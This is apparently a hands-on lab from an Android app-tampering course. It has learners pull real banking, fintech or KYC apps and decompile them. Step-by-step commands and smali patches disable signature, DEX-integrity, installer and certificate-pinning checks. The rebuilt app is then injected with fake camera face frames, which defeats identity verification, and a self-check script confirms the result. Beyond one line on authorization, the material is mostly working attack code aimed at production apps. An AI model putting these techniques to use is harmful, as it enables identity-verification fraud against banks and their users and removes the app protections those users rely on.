Skip to content

Lab 10: Anti-Tamper Evasion

Prerequisites: Labs 7-8 complete, Chapter 15 (Anti-Tamper Evasion) read.

Estimated time: 90 minutes.

Chapter reference: Chapter 15 — Anti-Tamper Evasion.

Target: A real-world APK with anti-tamper defenses. The course materials do not include a pre-built hardened target — this is intentional. Every target in Labs 0-9 was provided for you. This lab reflects the real world: you source the target yourself.

Every target in the previous labs was defenseless. No integrity checks, no signature verification, no awareness of tampering. You patched them, installed them, and injection worked immediately. That was training. This is the real thing.

The standard course target (target-kyc-basic.apk) has no anti-tamper defenses and cannot be used for this lab. You need a target with real integrity checks. Two approaches:

Option A: Use any app with anti-tamper defenses (recommended). Pull a real application from an emulator or device — banking apps, fintech onboarding apps, and identity verification apps almost always have at least signature verification and often certificate pinning. This is the closest you will get to a real engagement in a training context.

Terminal window
# Find an installed app
adb shell pm list packages | grep -iE "bank|finance|verify|kyc"
# Pull it
adb shell pm path <package>
adb pull <path> target-hardened.apk

Choose an app you are authorized to test. Apps you install yourself on your own emulator are fair game for personal research. Do not test apps you do not own or have authorization for.

Option B: Harden the course target yourself. If you completed Lab 12 (Build a Target), you know how to build an Android app. Add the four defense patterns from Chapter 15 to the course target source code, build it, and use it as your hardened target. This option teaches you both sides: building defenses and breaking them.

Regardless of which target you choose, the lab methodology is the same. A hardened target typically has some combination of these defenses:

DefenseWhat to Grep ForFailure Behavior
Signature verificationgetPackageInfo, GET_SIGNATURES, MessageDigestApp crashes on launch
DEX integrity checkclasses.dex, getCrc, ZipEntrySilent feature block or crash
Installer verificationgetInstallingPackageName, com.android.vendingWarning dialog, then exit
Certificate pinningCertificatePinner, network_security_config.xmlNetwork requests fail

Your target may not have all four. It may have defenses not listed here (root detection, emulator detection, Frida detection). That is fine — the methodology adapts. Use the recon patterns from Chapter 15 to find whatever defenses exist, then neutralize each one.

If you try to run the patch-tool against a hardened target and install the result without evasion work, the app will crash or malfunction at whatever defense fires first. You must identify and defeat each one in order.


LayerDefenseWhat It ChecksFailure Behavior
1APK signature verificationSHA-256 hash of signing certificateApp crashes on launch
2DEX integrity checkCRC of classes.dexSilent feature block
3Installer verificationWas it installed from Google Play?Warning dialog, then exit
4Certificate pinningOkHttp CertificatePinner on API callsNetwork requests fail

Your patched APK triggers all four: it has a different signature (you re-signed it), different DEX content (1,134 injected classes), a sideload install source (adb install), and no valid pins for the modified certificate chain.

Before you start: This lab requires comfort with smali control flow — if-eqz, if-nez, goto, return-void, and const/4. Review the “Defense Neutralization Patterns” section in Chapter 15 before starting.


Terminal window
apktool d target-hardened.apk -o decoded-hardened/

Run each grep pattern and record what you find. Do not skip any — a missed defense will crash the app later and you will waste time debugging.

Signature verification:

Terminal window
grep -rn "getPackageInfo\|GET_SIGNATURES\|Signature;->toByteArray\|MessageDigest" \
decoded-hardened/smali*/

Look for a method that:

  1. Calls getPackageInfo() with GET_SIGNATURES flag
  2. Extracts the signature bytes with toByteArray()
  3. Computes a hash with MessageDigest.getInstance("SHA-256")
  4. Compares the hash against a hardcoded string
  5. Branches to a crash or exit if they do not match

DEX integrity:

Terminal window
grep -rn "classes\.dex\|getCrc\|ZipEntry\|ZipFile" decoded-hardened/smali*/

Look for a method that:

  1. Opens the APK as a ZipFile
  2. Gets the ZipEntry for classes.dex
  3. Calls getCrc() to read the CRC-32
  4. Compares against a hardcoded value

Installer verification:

Terminal window
grep -rn "getInstallingPackageName\|getInstallSourceInfo\|com\.android\.vending" \
decoded-hardened/smali*/

Look for a method that:

  1. Calls getInstallingPackageName() or getInstallSourceInfo()
  2. Compares the result against com.android.vending (Google Play)
  3. Branches to a warning or exit if it does not match

Certificate pinning:

Terminal window
grep -rn "CertificatePinner\|certificatePinner\|\.check(" decoded-hardened/smali*/
ls decoded-hardened/res/xml/network_security_config.xml 2>/dev/null

Look for CertificatePinner.Builder usage and .check() calls. Also check for a network_security_config.xml that restricts trusted CAs.

For each check you found, record:

FieldValue
Defense type(signature / DEX / installer / pinning)
File pathFull path to the smali file
Method nameThe method containing the check
Branch instructionThe if-eqz / if-nez / goto that decides pass/fail
Failure behaviorWhat happens on failure (crash, dialog, silent block)
Neutralization planWhich technique you will use

Before you neutralize anything, read the smali carefully. Understanding the control flow prevents you from accidentally breaking the app.

A typical signature verification method looks like this in smali:

.method private checkSignature()Z
.locals 6
# Get package info with signatures
invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()...
move-result-object v0
const-string v1, "com.target.package"
const/16 v2, 0x40 # GET_SIGNATURES = 64
invoke-virtual {v0, v1, v2}, ...getPackageInfo(...)...
move-result-object v0
# Extract signature bytes and compute SHA-256
...
invoke-virtual {v3}, Ljava/security/MessageDigest;->digest(...)[B
move-result-object v3
# Compare against expected hash
const-string v4, "AB:CD:EF:12:34:..." # <-- hardcoded expected hash
invoke-virtual {v3, v4}, Ljava/lang/String;->equals(...)Z
move-result v5
# Branch on result
if-eqz v5, :fail # if hash does NOT match, goto fail
const/4 v0, 0x1
return v0 # return true (signature valid)
:fail
const/4 v0, 0x0
return v0 # return false (signature invalid)
.end method

The key observation: the method returns a boolean. The caller uses this boolean to decide whether to continue or crash. You have two neutralization options.

The DEX check typically reads the APK as a zip, extracts the classes.dex entry, and compares CRC-32 values. The branch pattern is similar: compute, compare, branch.

The installer check calls getInstallingPackageName(), which returns null for sideloaded apps or com.android.vending for Play Store installs. The comparison is a string match.


Apply the appropriate technique to each defense. Work through them one at a time — neutralize, rebuild, test, confirm.

Technique: Force the method to return true.

Find the checkSignature() method (or whatever it is named). Replace the entire body with:

.method private checkSignature()Z
.locals 1
const/4 v0, 0x1
return v0
.end method

This forces the method to always return true, regardless of the actual signature hash.

Alternative technique: Replace the hardcoded hash with your debug keystore’s hash. Compute it with:

Terminal window
keytool -list -v -keystore ~/.android/debug.keystore -storepass android \
| grep "SHA256:" | sed 's/.*SHA256: //'

Then find the const-string with the expected hash in the smali and replace its value.

Technique: Force the CRC check to pass.

Same approach — find the method that performs the CRC comparison and force it to return true. Or, find the branch instruction that triggers on CRC mismatch and nop it:

# Original:
if-nez v5, :integrity_fail
# Neutralized (nop the branch by replacing with a goto to the next instruction):
nop

Alternatively, replace the hardcoded CRC value with the CRC of your modified classes.dex. But this is fragile — the CRC changes every time you re-patch.

Technique: Force the installer name.

Find the call to getInstallingPackageName() and the move-result-object that captures the return value. After the capture, overwrite the register with the expected value:

invoke-virtual {v0, v1}, ...getInstallingPackageName(...)...
move-result-object v2
# Overwrite with expected value:
const-string v2, "com.android.vending"

Now the comparison against com.android.vending always succeeds, regardless of how the app was installed.

Option A: Patch network_security_config.xml.

If the app uses Android’s network security config, edit decoded-hardened/res/xml/network_security_config.xml:

<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true">
<trust-anchors>
<certificates src="system" />
<certificates src="user" />
</trust-anchors>
</base-config>
</network-security-config>

This trusts both system and user-installed certificates.

Option B: Nop the CertificatePinner.check() calls.

Find every invoke-virtual that calls CertificatePinner.check() and replace it with nop instructions (or comment it out by removing the line and adjusting the method). The pinner never fires, so pins are never enforced.


Rebuild the evasion-patched APK:

Terminal window
apktool b decoded-hardened/ -o evasion-patched.apk
zipalign -v 4 evasion-patched.apk aligned-hardened.apk
apksigner sign --ks ~/.android/debug.keystore --ks-pass pass:android aligned-hardened.apk

Install and test that the defenses are neutralized:

Terminal window
adb install -r aligned-hardened.apk
adb shell am start -n <package>/<launcher_activity>

The app should launch without crashing, without security warnings, without blocking functionality.

If it still fails, check logcat for the specific check that is triggering:

Terminal window
adb logcat | grep -iE "signature|integrity|tamper|security|mismatch|invalid|certificate"

The error message tells you which defense is still active. Go back and fix that specific neutralization.


Now run the patch-tool against your evasion-patched APK:

Terminal window
java -jar patch-tool.jar evasion-patched.apk \
--out final-patched.apk --work-dir ./work-hardened

The patch-tool re-decodes, adds the injection hooks, and rebuilds. Your evasion patches survive because the patch-tool adds to the smali — it does not revert your changes.

Verify evasion survived the re-patching:

Terminal window
# Check that your forced-return-true patches are still present
grep -rn "const/4 v0, 0x1" work-hardened/smali*/ | grep -i "security\|signature\|integrity" | head -5

Terminal window
adb uninstall <package> 2>/dev/null
adb install -r final-patched.apk
adb shell pm grant <package> android.permission.CAMERA
adb shell pm grant <package> android.permission.ACCESS_FINE_LOCATION
adb shell pm grant <package> android.permission.READ_EXTERNAL_STORAGE
adb shell pm grant <package> android.permission.WRITE_EXTERNAL_STORAGE
adb shell appops set <package> MANAGE_EXTERNAL_STORAGE allow
# Push payloads
adb shell mkdir -p /sdcard/poc_frames/ /sdcard/poc_location/ /sdcard/poc_sensor/
adb push /tmp/face_frames/ /sdcard/poc_frames/
# Launch
adb shell am start -n <package>/<launcher_activity>
# Verify injection
adb logcat -s FrameInterceptor

The app should launch without integrity failures AND show frame injection active. Both the evasion patches and the injection hooks are operating simultaneously.


ArtifactDescription
Defense recon reportEvery integrity check found: file path, method, check type, failure behavior
Neutralization logFor each defense: technique used, specific smali changes made
ScreenshotApp running with injection active, no security warnings
Logcat outputFrameInterceptor showing frame delivery on the hardened target

  • All defenses identified with file paths and method names
  • Every defense neutralized without breaking app functionality
  • App launches without integrity failures after evasion patching
  • Evasion patches survive the patch-tool re-patching
  • Injection hooks apply successfully on top of evasion patches
  • Frame injection is active (logcat shows FRAME_DELIVERED)
  • No security warnings or tamper alerts visible in the UI

#!/usr/bin/env bash
echo "=========================================="
echo " LAB 10: ANTI-TAMPER EVASION SELF-CHECK"
echo "=========================================="
PASS=0; FAIL=0
# Phase 1: Defense recon completeness
echo "--- Defense Recon ---"
if [ -d decoded-hardened/ ]; then
SIG=$(grep -rl "GET_SIGNATURES\|getPackageInfo.*Signature" decoded-hardened/smali*/ 2>/dev/null | wc -l | tr -d ' ')
DEX=$(grep -rl "classes\.dex\|getCrc" decoded-hardened/smali*/ 2>/dev/null | wc -l | tr -d ' ')
INST=$(grep -rl "getInstallingPackageName\|com\.android\.vending" decoded-hardened/smali*/ 2>/dev/null | wc -l | tr -d ' ')
PIN=$(grep -rl "CertificatePinner" decoded-hardened/smali*/ 2>/dev/null | wc -l | tr -d ' ')
echo " Signature check files: $SIG"
echo " DEX integrity files: $DEX"
echo " Installer check files: $INST"
echo " Cert pinning files: $PIN"
[ "$SIG" -gt 0 ] && echo " [PASS] Signature verification identified" && ((PASS++)) || { echo " [FAIL] Signature verification not found"; ((FAIL++)); }
[ "$DEX" -gt 0 ] && echo " [PASS] DEX integrity check identified" && ((PASS++)) || { echo " [FAIL] DEX integrity check not found"; ((FAIL++)); }
[ "$INST" -gt 0 ] && echo " [PASS] Installer verification identified" && ((PASS++)) || { echo " [FAIL] Installer verification not found"; ((FAIL++)); }
[ "$PIN" -gt 0 ] && echo " [PASS] Certificate pinning identified" && ((PASS++)) || { echo " [FAIL] Certificate pinning not found"; ((FAIL++)); }
else
echo " [SKIP] decoded-hardened/ not found"
fi
# Phase 4: Evasion verification
echo ""
echo "--- Evasion Patches ---"
if [ -f evasion-patched.apk ]; then
echo " [PASS] Evasion-patched APK built"
((PASS++))
else
echo " [FAIL] evasion-patched.apk not found"
((FAIL++))
fi
# Phase 5: Injection on hardened target
echo ""
echo "--- Injection on Hardened Target ---"
if [ -f final-patched.apk ]; then
echo " [PASS] Final patched APK built (evasion + injection)"
((PASS++))
else
echo " [FAIL] final-patched.apk not found"
((FAIL++))
fi
FRAMES=$(adb logcat -d -s FrameInterceptor 2>/dev/null | grep -c "FRAME_DELIVERED")
echo " Frames delivered: $FRAMES"
if [ "$FRAMES" -gt 0 ]; then
echo " [PASS] Frame injection active on hardened target"
((PASS++))
else
echo " [FAIL] No frame deliveries"
((FAIL++))
fi
# Check for security warnings/crashes
CRASHES=$(adb logcat -d 2>/dev/null | grep -ci "SecurityException\|integrity\|tamper\|signature.*mismatch")
echo " Security-related log lines: $CRASHES"
if [ "$CRASHES" -eq 0 ]; then
echo " [PASS] No integrity failures detected"
((PASS++))
else
echo " [WARN] Possible integrity check triggered -- review logcat"
fi
echo ""
echo " Results: $PASS passed, $FAIL failed"
echo ""
echo " Manual checks:"
echo " 1. App launches without security warnings or crash dialogs"
echo " 2. Frame injection overlay shows ACTIVE"
echo " 3. Defense recon report documents all defenses found, with file paths"
echo " 4. Neutralization log shows specific smali changes for each defense"
echo "=========================================="
[ "$FAIL" -eq 0 ] && echo " Lab 10 COMPLETE." || echo " Lab 10 INCOMPLETE -- review failed checks."

Bonus Phase: Native Defense Recon (Dry Run)

Section titled “Bonus Phase: Native Defense Recon (Dry Run)”

Most real-world targets do not include native (JNI) integrity checks — but some do, especially apps that integrate commercial anti-tamper SDKs. Practice the recon patterns from Chapter 15’s “Native Code (JNI) Defenses” section against your target so you are ready when you encounter native defenses.

Terminal window
grep -rn "\.method.*native" decoded-hardened/smali*/
Terminal window
find decoded-hardened/lib/ -name "*.so" -exec ls -lhS {} \;

Step 3: Search for Defense Strings in .so Files

Section titled “Step 3: Search for Defense Strings in .so Files”
Terminal window
for so in decoded-hardened/lib/arm64-v8a/*.so; do
echo "=== $(basename $so) ==="
strings "$so" | grep -iE "integrity|signature|verify|tamper|root|debug" | head -5
done

Record in your defense recon report:

  • How many native methods were found?
  • Do any have names suggesting integrity checks?
  • Do any .so files contain defense-related strings?
  • If a native integrity check existed, which approach from Chapter 15 would you use? (Cut at the JNI bridge, patch the .so, or delete the library?)

If your target has no native integrity checks, that confirms all defenses are in the Java layer and Techniques 1 through 5 from Chapter 15 (nop, force return, patch hash, nop SDK init, cert pinning bypass) are sufficient. If you do find native defenses, apply the JNI bridge techniques from Chapter 15 — cut at the bridge first, resort to binary patching only if needed.


This was the first lab where the target fought back — and the first lab where you sourced your own target. That is not an accident. In the real world, nobody hands you a pre-decoded APK with a map of its defenses. You pull it off a device, crack it open, find what’s guarding it, and dismantle the guards one by one.

The defenses you encountered — whether two or four or six — all share the same fundamental weakness: they run on a device you control, in bytecode you can read. Signature verification, DEX integrity, installer checks, certificate pinning, root detection — the specifics vary, but the methodology is always the same: recon the defense, understand its logic, neutralize it at the bytecode level.

You neutralized real defenses in a real app with the same techniques from Chapter 15. The specifics varied (nop a branch, force a return value, patch a hash, modify an XML config), but the pattern held. This is the technique that takes the toolkit from “works against cooperative targets” to “works against production apps with real security investments.”